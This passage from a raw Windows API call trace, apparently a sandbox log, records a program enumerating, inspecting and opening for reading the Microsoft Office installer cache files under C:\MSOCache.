lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0042.816] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0042.816] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1 [0042.816] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 0 [0042.816] GetLastError () returned 0x12 [0042.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83c88) returned 1 [0042.816] FindClose (in: hFindFile=0x60d0e0 | out: hFindFile=0x60d0e0) returned 1 [0042.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83b80) returned 1 [0042.816] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83a78) returned 1 [0042.816] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0042.816] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0042.816] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0042.823] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0042.823] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0042.823] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf8be90 [0042.823] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf8be90, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xf8be90, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0042.823] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8be90) returned 1 [0042.823] NtClose (Handle=0x188) returned 0x0 [0042.824] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0042.824] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0042.824] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0042.824] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83a78 [0042.824] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0042.824] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83b80 [0042.824] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d0e0 [0042.828] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.828] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="")) returned 1 [0042.828] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.msi", cAlternateFileName="")) returned 1 [0042.828] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0042.828] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0042.828] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0042.828] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0042.828] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0042.828] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83c88 [0042.828] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0042.828] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf899e8 [0042.828] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ae20 [0042.828] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0042.828] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.xml", cAlternateFileName="")) returned 1 [0042.829] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0042.829] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0042.829] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0042.829] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0042.829] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0042.829] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89a08 [0042.829] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8af28 [0042.829] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0042.829] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0042.829] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0042.829] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0042.829] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0042.829] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0042.829] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0042.829] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89a28 [0042.829] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8b030 [0042.829] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0042.829] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0042.829] GetLastError () returned 0x12 [0042.829] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d120 [0042.829] FindClose (in: hFindFile=0x60d0e0 | out: hFindFile=0x60d0e0) returned 1 [0042.829] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.829] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="")) returned 1 [0042.829] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8b138 [0042.829] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0042.865] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0042.882] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0042.882] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf8be90 [0042.882] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf8be90, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xf8be90, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0042.882] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8be90) returned 1 [0042.882] NtClose (Handle=0x188) returned 0x0 [0042.882] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8b138) returned 1 [0042.882] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0042.882] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0042.882] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8b138 [0042.882] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0042.882] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8b240 [0042.882] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d0e0 [0043.921] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.925] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.msi", cAlternateFileName="")) returned 1 [0043.933] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0043.933] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0043.934] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0043.934] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0043.934] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0043.937] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8b348 [0043.937] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0043.938] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89a48 [0043.940] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8b450 [0043.942] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0043.942] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.xml", cAlternateFileName="")) returned 1 [0043.947] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0043.947] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0043.948] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0043.948] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0043.949] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0043.949] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89a68 [0043.949] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8b558 [0043.949] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0043.950] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccLR.cab", cAlternateFileName="")) returned 1 [0043.951] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0043.953] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0043.953] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0043.955] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0043.960] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0043.960] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89a88 [0043.960] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8b660 [0043.961] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0043.962] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0043.963] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0043.965] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0043.965] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0043.967] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0043.967] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0043.971] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89aa8 [0043.971] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8b768 [0044.414] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0xf86470 [0044.414] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf85990) returned 1 [0044.414] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0044.414] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 0 [0044.417] GetLastError () returned 0x12 [0044.417] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d0a0 [0044.419] FindClose (in: hFindFile=0x60d0e0 | out: hFindFile=0x60d0e0) returned 1 [0044.419] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.419] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.msi", cAlternateFileName="")) returned 1 [0044.419] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.xml", cAlternateFileName="")) returned 1 [0044.419] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccLR.cab", cAlternateFileName="")) returned 1 [0044.419] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0044.420] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 